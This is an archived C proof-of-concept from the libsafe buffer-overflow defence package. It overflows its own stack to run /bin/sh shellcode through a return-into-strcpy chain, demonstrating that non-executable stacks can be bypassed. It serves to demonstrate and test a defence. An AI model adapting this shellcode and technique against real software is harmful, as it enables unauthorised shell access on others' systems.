"Fossies" - the Fresh Open Source Software Archive

Member "libsafe-2.0-16/exploits/exploit-non-exec-stack.c" (12 Jun 2002, 1728 Bytes) of package /linux/misc/old/libsafe-2.0-16.tgz:


As a special service "Fossies" has tried to format the requested source page into HTML format using (guessed) C and C++ source code syntax highlighting (style: standard) with prefixed line numbers and code folding option. Alternatively you can here view or download the uninterpreted source code file.

    1 /*
    2  * $Name: release2_0-16 $
    3  * $Id: exploit-non-exec-stack.c,v 1.6 2002/06/12 20:30:37 ttsai Exp $
    4  */
    5 
    6 
    7 /*     This sample program demonstrates that even the kernels with
    8  *     non-executable stacks are vulnerable to buffer overflow attacks.  This
    9  *     is a derived code from comments by Rafal Wojtczuk (see reference number
   10  *     25) and Linus Torvalds (see reference numbers 23) in the Libsafe white
   11  *     paper.
   12  */
   13 
   14 #include <stdio.h>
   15 #include <string.h>
   16 #include <stdlib.h>
   17 
   18 #define STRCPY &strcpy
   19 #define SIZE 512
   20 #define readRegister(var,reg) __asm__ __volatile__("movl %%" #reg ", %0": "=r" (var))
   21 
   22 char shellcode[] =
   23     "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
   24     "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
   25     "\x80\xe8\xdc\xff\xff\xff/bin/sh";
   26 
   27 char pattern[SIZE];
   28 char buf[SIZE];
   29 
   30 int main(int ac, char *av[])
   31 {
   32     char a[10];
   33     int fp, offset;
   34 
   35     /*
   36      * read the contents of the frame pointer into variable 'fp'.
   37      */
   38     readRegister(fp, ebp);
   39     offset = fp - (int) a + 4;
   40 
   41     memset(pattern, '\xff', SIZE);
   42     *(int *) (pattern + offset) = (int) STRCPY;
   43     *(int *) (pattern + offset + 4) = (int) &buf;
   44     *(int *) (pattern + offset + 8) = (int) &buf;
   45     *(int *) (pattern + offset + 12) = (int) &shellcode;
   46     pattern[offset + 16] = '\0';
   47 
   48     printf("This program demonstrates how a (stack) buffer overflow\n");
   49     printf("can attack linux kernels with *non-executable* stacks.\n");
   50     printf("This is variation on return-int-libc attack.\n");
   51     printf("If you get a /bin/sh prompt, then the exploit has worked.\n");
   52     printf("Press any key to continue...");
   53     getchar();
   54 
   55     memcpy(a, pattern, offset+16);
   56 
   57     return 0;
   58 }